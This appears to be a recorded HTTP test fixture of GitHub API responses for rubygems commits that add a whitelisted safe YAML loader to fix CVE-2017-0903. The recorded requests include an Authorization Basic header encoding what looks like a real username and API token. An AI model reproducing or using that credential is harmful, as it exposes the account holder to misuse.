nts_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"be899d52b86f677fccd88bac4a45ef5afaf9f00e","url":"https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e","html_url":"https://github.com/rubygems/rubygems/commit/be899d52b86f677fccd88bac4a45ef5afaf9f00e"},{"sha":"d396b461fbaf10ee8235b234ae970fb989a687d6","url":"https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6","html_url":"https://github.com/rubygems/rubygems/commit/d396b461fbaf10ee8235b234ae970fb989a687d6"}],"stats":{"total":70,"additions":64,"deletions":6},"files":[{"sha":"e8ca91f610966583ed2e26e535edcbaf00c30aa0","filename":"History.txt","status":"modified","additions":8,"deletions":0,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -1,5 +1,13 @@\n # coding: UTF-8\n \n+=== 2.6.14 / 2017-10-09\n+\n+Security fixes:\n+\n+* Whitelist classes and symbols that are in loaded YAML.\n+ See CVE-2017-0903 for full details.\n+ Fix by Aaron Patterson.\n+\n === 2.6.13 / 2017-08-27\n \n Security fixes:"},{"sha":"4826b3d6885548d1133b1cddd850c8c1e59f1ae0","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -396,6 +396,7 @@ lib/rubygems/resolver/specification.rb\n lib/rubygems/resolver/stats.rb\n lib/rubygems/resolver/vendor_set.rb\n lib/rubygems/resolver/vendor_specification.rb\n+lib/rubygems/safe_yaml.rb\n lib/rubygems/security.rb\n lib/rubygems/security/policies.rb\n lib/rubygems/security/policy.rb"},{"sha":"c8f43e38050e96f58db97f82fe590b58b271ca81","filename":"lib/rubygems.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.6.13\"\n+ VERSION = \"2.6.14\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2\n@@ -690,7 +690,7 @@ def self.load_yaml\n \n unless test_syck\n begin\n- gem ''psych'', ''>= 1.2.1''\n+ gem ''psych'', ''>= 2.0.0''\n rescue Gem::LoadError\n # It''s OK if the user does not have the psych gem installed. We will\n # attempt to require the stdlib version\n@@ -714,6 +714,7 @@ def self.load_yaml\n end\n \n require ''yaml''\n+ require ''rubygems/safe_yaml''\n \n # If we''re supposed to be using syck, then we may have to force\n # activate it via the YAML::ENGINE API."},{"sha":"a4efed0f5ab8f511359363c54e52d541d87044ea","filename":"lib/rubygems/config_file.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/config_file.rb","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/config_file.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/config_file.rb?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -354,7 +354,7 @@ def load_file(filename)\n return {} unless filename and File.exist? filename\n \n begin\n- content = YAML.load(File.read(filename))\n+ content = Gem::SafeYAML.load(File.read(filename))\n unless content.kind_of? Hash\n warn \"Failed to load #{filename} because it doesn''t contain valid YAML hash\"\n return {}"},{"sha":"77811ed5ecaa773031ebb4a3a26c7d76115cc72b","filename":"lib/rubygems/package.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/package.rb","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/package.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package.rb?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -468,7 +468,7 @@ def read_checksums gem\n \n @checksums = gem.seek ''checksums.yaml.gz'' do |entry|\n Zlib::GzipReader.wrap entry do |gz_io|\n- YAML.load gz_io.read\n+ Gem::SafeYAML.safe_load gz_io.read\n end\n end\n end"},{"sha":"f6e6e67c382a5ca50549977430bea5a838504bab","filename":"lib/rubygems/package/old.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/package/old.rb","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/package/old.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package/old.rb?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -101,7 +101,7 @@ def file_list io # :nodoc:\n header << line\n end\n \n- YAML.load header\n+ Gem::SafeYAML.safe_load header\n end\n \n ##"},{"sha":"b98cfaa5e60dbfc77acc7c478ffa55ac55537e3d","filename":"lib/rubygems/safe_yaml.rb","status":"added","additions":48,"deletions":0,"changes":48,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/safe_yaml.rb","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/safe_yaml.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/safe_yaml.rb?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -0,0 +1,48 @@\n+module Gem\n+\n+ ###\n+ # This module is used for safely loading YAML specs from a gem. The\n+ # `safe_load` method defined on this module is specifically designed for\n+ # loading Gem specifications. For loading other YAML safely, please see\n+ # Psych.safe_load\n+\n+ module SafeYAML\n+ WHITELISTED_CLASSES = %w(\n+ Symbol\n+ Time\n+ Date\n+ Gem::Dependency\n+ Gem::Platform\n+ Gem::Requirement\n+ Gem::Specification\n+ Gem::Version\n+ Gem::Version::Requirement\n+ YAML::Syck::DefaultKey\n+ Syck::DefaultKey\n+ )\n+\n+ WHITELISTED_SYMBOLS = %w(\n+ development\n+ runtime\n+ )\n+\n+ if ::YAML.respond_to? :safe_load\n+ def self.safe_load input\n+ ::YAML.safe_load(input, WHITELISTED_CLASSES, WHITELISTED_SYMBOLS, true)\n+ end\n+\n+ def self.load input\n+ ::YAML.safe_load(input, [::Symbol])\n+ end\n+ else\n+ warn \"YAML safe loading is not available. Please upgrade psych to a version that supports safe loading (>= 2.0).\"\n+ def self.safe_load input, *args\n+ ::YAML.load input\n+ end\n+\n+ def self.load input\n+ ::YAML.load input\n+ end\n+ end\n+ end\n+end"},{"sha":"2d71d18417bd48f29a458a79422d1201f58028d0","filename":"lib/rubygems/specification.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/82719151049a17987989b089c5b0d81b1b8df507/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=82719151049a17987989b089c5b0d81b1b8df507","patch":"@@ -1124,7 +1124,7 @@ def self.from_yaml(input)\n Gem.load_yaml\n \n input = normalize_yaml_input input\n- spec = YAML.load input\n+ spec = Gem::SafeYAML.safe_load input\n \n if spec && spec.class == FalseClass then\n raise Gem::EndOfYAMLException"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:05 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:06 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4444' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"547ff2a841af5646f18778e695c3b2ba" Last-Modified: - Tue, 10 Oct 2017 03:01:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042900' X-Github-Request-Id: - C586:4D94:4F01BE:B30707:5A50E475 body: encoding: ASCII-8BIT string: '{"sha":"d396b461fbaf10ee8235b234ae970fb989a687d6","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T02:59:51Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:01:08Z"},"message":"Version 2.6.14 with changelog","tree":{"sha":"aec45d93db44f02826da6911e6a8d809f5058e96","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/aec45d93db44f02826da6911e6a8d809f5058e96"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d396b461fbaf10ee8235b234ae970fb989a687d6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3Df0AAoJEAEZW7MV3ahWhWMP/3PWf+yKsdixZRtrA9eF0NgH\nrFkO2Skn6u8wefLkRCYJgT0e6UC79w9kQnhduaoXKy/8cupYx18DTsUgDid4IrS3\nJVA+O5IbTvxfo/GMz+JvP2DV7/5cNehKVH9znqexeI4byk5Hmd9xWGhiHFiS6pko\nNXy9nQ2uF3o05/e3ttLUXGBvEy4aJdsF1W67onnni8TQTd+miBR0wyv/ZSwUFqUz\nyjM/lMtzRNA8mUonupC3Z5lTzJ2+/VyIHiGsE7wkTAkdYoq9MTCzsBlPHBLIyHNh\n5qlLkewWMXdT+kL6fLKelUcSCzzTE8tQiCysfrKfIqVU6c3sygwLchH1qwQpjXG3\npmhAWvxGChLj3x5XjzROp7EDY0fM/pjwcCP95qZFWPCRU8+83i2O0346Diwo/Sh7\nKdRvLHWId6CVzIJSLTsIQbJ2ghtcRYCw+tQX3+X6mcWY16Vnw7I1iuV/gayQ6OMx\nQsh3H61inprYwV0fDtjT5+fa+xV0bTyT9Ht0M+/Bd88EC7GqNS/PCGn6816xuMA1\n4alECBbfgNOSR0ZtVXU6BDft0jx80Q55UGeIZ10u9Psk0zW9laYSPV50xnGFxcFb\nK5yN5vjoyiQLnoeMoTzXlu2KU6RN41IWqKSO+GwOBMoBBu3MB43lBgBG0wmzdOSh\n4krUm1YjJRkPQ0tlkexR\n=EmbK\n-----END PGP SIGNATURE-----","payload":"tree aec45d93db44f02826da6911e6a8d809f5058e96\nparent 510b1638ac9bba3ceb7a5d73135dafff9e5bab49\nauthor Samuel Giddins 1507604391 -0500\ncommitter Samuel Giddins 1507604468 -0500\n\nVersion 2.6.14 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6","html_url":"https://github.com/rubygems/rubygems/commit/d396b461fbaf10ee8235b234ae970fb989a687d6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"510b1638ac9bba3ceb7a5d73135dafff9e5bab49","url":"https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","html_url":"https://github.com/rubygems/rubygems/commit/510b1638ac9bba3ceb7a5d73135dafff9e5bab49"}],"stats":{"total":10,"additions":9,"deletions":1},"files":[{"sha":"388c91a39d4d59f5c06d61b2996094f09ba3ae3d","filename":"History.txt","status":"modified","additions":8,"deletions":0,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/d396b461fbaf10ee8235b234ae970fb989a687d6/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/d396b461fbaf10ee8235b234ae970fb989a687d6/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=d396b461fbaf10ee8235b234ae970fb989a687d6","patch":"@@ -1,5 +1,13 @@\n # coding: UTF-8\n \n+=== 2.6.14 / 2017-10-09\n+\n+Security fixes:\n+\n+* Whitelist classes and symbols that are in loaded YAML.\n+ See CVE-2017-0903 for full details.\n+ Fix by Aaron Patterson.\n+\n === 2.6.13 / 2017-08-27\n \n Security fixes:"},{"sha":"0685bcb3c629f4d9d1b52745fd88e83d9aef25bd","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/d396b461fbaf10ee8235b234ae970fb989a687d6/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d396b461fbaf10ee8235b234ae970fb989a687d6/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=d396b461fbaf10ee8235b234ae970fb989a687d6","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.6.13\"\n+ VERSION = \"2.6.14\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:06 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:06 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4443' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3afc4b1fa484469d086e670b13d78d6e" Last-Modified: - Tue, 10 Oct 2017 03:01:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.058452' X-Github-Request-Id: - C588:4D97:9039F3:1C47EA4:5A50E476 body: encoding: ASCII-8BIT string: '{"sha":"510b1638ac9bba3ceb7a5d73135dafff9e5bab49","commit":{"author":{"name":"Aaron Patterson","email":"aaron.patterson@gmail.com","date":"2017-10-06T18:11:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:01:08Z"},"message":"Whitelist classes and symbols that are in Gem spec YAML\n\nThis patch adds a method for loading YAML specs from a gem and\nwhitelists classes and symbols that are allowed in the spec. Then it\nchanges calls to YAML.load to call the whitelisted \"safe\" loader\ninstead.\n\n[CVE-2017-0903]","tree":{"sha":"b417660e6990e0a64ce3836bd3b11cdedc6565b5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b417660e6990e0a64ce3836bd3b11cdedc6565b5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3Df0AAoJEAEZW7MV3ahWqtQP/1D/6DukwurIT0c5kgsNErkH\n1C5QTB9l29KDXB6S3A7QHLjv57u8fbgKmmPe3/jPVOrSPpKid7bRMAmHK1cpN2ve\nDxjmtUaGFk73ounMYTUlyje0wQZdRjKeVKfUSdGx0AovxNqToL0OiVkQg2HUl8ah\nuauF4iVUhnd3r2Ty+pDlaHj6nonR3N6Vy2YS8wLgwVTaD6/2jy30Ti8WX6S23jd8\nTCCq5txOnAreEOoN5GRIVfNsY2BDwpeHz2OeaFvwctsjiBv5RMAcoYNtc9scpSZ+\nlgMlInvik4rNR56ebFZK2b5wYYqqF0FiiUDP7neW1c+XpkAqt06i2NeaC/5ltayv\nc7uHdqv2R4qKVLYS6Twz2ikru6vSYkHDKEGFAR6jMXI/WQAD4dXArJtE1+9fhKIo\nujYbnGOr0aTDOpg3aM3rOhpJ46SooarqrmmluY/bBES7+IGmJmJIx7V2GsKyEiVu\n7j88A+VBQgBKghUGUE8MNmcHH80m+w34U8v+7L+BxLY/xNQZe4xI3NvEPOqeNosa\nU+Xi3iXZYAV5PieSzn6SwPwikbaM5QJjTd7h8TsHVSBE827cVsg6I1lTrl7pmtH0\ntA2LYN/aC0Xp4kfyv6/I9zf4RlJif2PEn57Jb2I3GnkjwD5EntI3pTM+zKlSejgx\nLT3kqtt0Ys6gKdNr/xYT\n=EXNx\n-----END PGP SIGNATURE-----","payload":"tree b417660e6990e0a64ce3836bd3b11cdedc6565b5\nparent 6e77ace5dad07d86a38ac271e6a62658ca751105\nauthor Aaron Patterson 1507313500 -0700\ncommitter Samuel Giddins 1507604468 -0500\n\nWhitelist classes and symbols that are in Gem spec YAML\n\nThis patch adds a method for loading YAML specs from a gem and\nwhitelists classes and symbols that are allowed in the spec. Then it\nchanges calls to YAML.load to call the whitelisted \"safe\" loader\ninstead.\n\n[CVE-2017-0903]\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","html_url":"https://github.com/rubygems/rubygems/commit/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/comments","author":{"login":"tenderlove","id":3124,"avatar_url":"https://avatars1.githubusercontent.com/u/3124?v=4","gravatar_id":"","url":"https://api.github.com/users/tenderlove","html_url":"https://github.com/tenderlove","followers_url":"https://api.github.com/users/tenderlove/followers","following_url":"https://api.github.com/users/tenderlove/following{/other_user}","gists_url":"https://api.github.com/users/tenderlove/gists{/gist_id}","starred_url":"https://api.github.com/users/tenderlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tenderlove/subscriptions","organizations_url":"https://api.github.com/users/tenderlove/orgs","repos_url":"https://api.github.com/users/tenderlove/repos","events_url":"https://api.github.com/users/tenderlove/events{/privacy}","received_events_url":"https://api.github.com/users/tenderlove/received_events","type":"User","site_admin":true},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e77ace5dad07d86a38ac271e6a62658ca751105","url":"https://api.github.com/repos/rubygems/rubygems/commits/6e77ace5dad07d86a38ac271e6a62658ca751105","html_url":"https://github.com/rubygems/rubygems/commit/6e77ace5dad07d86a38ac271e6a62658ca751105"}],"stats":{"total":60,"additions":55,"deletions":5},"files":[{"sha":"c091e7c503ddea5e20c15336516cf8bcf205f6cf","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -387,6 +387,7 @@ lib/rubygems/resolver/specification.rb\n lib/rubygems/resolver/stats.rb\n lib/rubygems/resolver/vendor_set.rb\n lib/rubygems/resolver/vendor_specification.rb\n+lib/rubygems/safe_yaml.rb\n lib/rubygems/security.rb\n lib/rubygems/security/policies.rb\n lib/rubygems/security/policy.rb"},{"sha":"a13c6338cf53245179608a72b2c7ad616763ca23","filename":"lib/rubygems.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -675,7 +675,7 @@ def self.load_yaml\n \n unless test_syck\n begin\n- gem ''psych'', ''>= 1.2.1''\n+ gem ''psych'', ''>= 2.0.0''\n rescue Gem::LoadError\n # It''s OK if the user does not have the psych gem installed. We will\n # attempt to require the stdlib version\n@@ -699,6 +699,7 @@ def self.load_yaml\n end\n \n require ''yaml''\n+ require ''rubygems/safe_yaml''\n \n # If we''re supposed to be using syck, then we may have to force\n # activate it via the YAML::ENGINE API."},{"sha":"63583b361615823a038e47361f5ed4c82a1b2b92","filename":"lib/rubygems/config_file.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/config_file.rb","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/config_file.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/config_file.rb?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -345,7 +345,7 @@ def load_file(filename)\n return {} unless filename and File.exist? filename\n \n begin\n- content = YAML.load(File.read(filename))\n+ content = Gem::SafeYAML.load(File.read(filename))\n unless content.kind_of? Hash\n warn \"Failed to load #{filename} because it doesn''t contain valid YAML hash\"\n return {}"},{"sha":"77811ed5ecaa773031ebb4a3a26c7d76115cc72b","filename":"lib/rubygems/package.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/package.rb","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/package.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package.rb?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -468,7 +468,7 @@ def read_checksums gem\n \n @checksums = gem.seek ''checksums.yaml.gz'' do |entry|\n Zlib::GzipReader.wrap entry do |gz_io|\n- YAML.load gz_io.read\n+ Gem::SafeYAML.safe_load gz_io.read\n end\n end\n end"},{"sha":"071f7141ab78220f5ba9f16432aeed9e2c364a01","filename":"lib/rubygems/package/old.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/package/old.rb","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/package/old.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package/old.rb?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -101,7 +101,7 @@ def file_list io # :nodoc:\n header << line\n end\n \n- YAML.load header\n+ Gem::SafeYAML.safe_load header\n end\n \n ##"},{"sha":"b98cfaa5e60dbfc77acc7c478ffa55ac55537e3d","filename":"lib/rubygems/safe_yaml.rb","status":"added","additions":48,"deletions":0,"changes":48,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/safe_yaml.rb","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/safe_yaml.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/safe_yaml.rb?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -0,0 +1,48 @@\n+module Gem\n+\n+ ###\n+ # This module is used for safely loading YAML specs from a gem. The\n+ # `safe_load` method defined on this module is specifically designed for\n+ # loading Gem specifications. For loading other YAML safely, please see\n+ # Psych.safe_load\n+\n+ module SafeYAML\n+ WHITELISTED_CLASSES = %w(\n+ Symbol\n+ Time\n+ Date\n+ Gem::Dependency\n+ Gem::Platform\n+ Gem::Requirement\n+ Gem::Specification\n+ Gem::Version\n+ Gem::Version::Requirement\n+ YAML::Syck::DefaultKey\n+ Syck::DefaultKey\n+ )\n+\n+ WHITELISTED_SYMBOLS = %w(\n+ development\n+ runtime\n+ )\n+\n+ if ::YAML.respond_to? :safe_load\n+ def self.safe_load input\n+ ::YAML.safe_load(input, WHITELISTED_CLASSES, WHITELISTED_SYMBOLS, true)\n+ end\n+\n+ def self.load input\n+ ::YAML.safe_load(input, [::Symbol])\n+ end\n+ else\n+ warn \"YAML safe loading is not available. Please upgrade psych to a version that supports safe loading (>= 2.0).\"\n+ def self.safe_load input, *args\n+ ::YAML.load input\n+ end\n+\n+ def self.load input\n+ ::YAML.load input\n+ end\n+ end\n+ 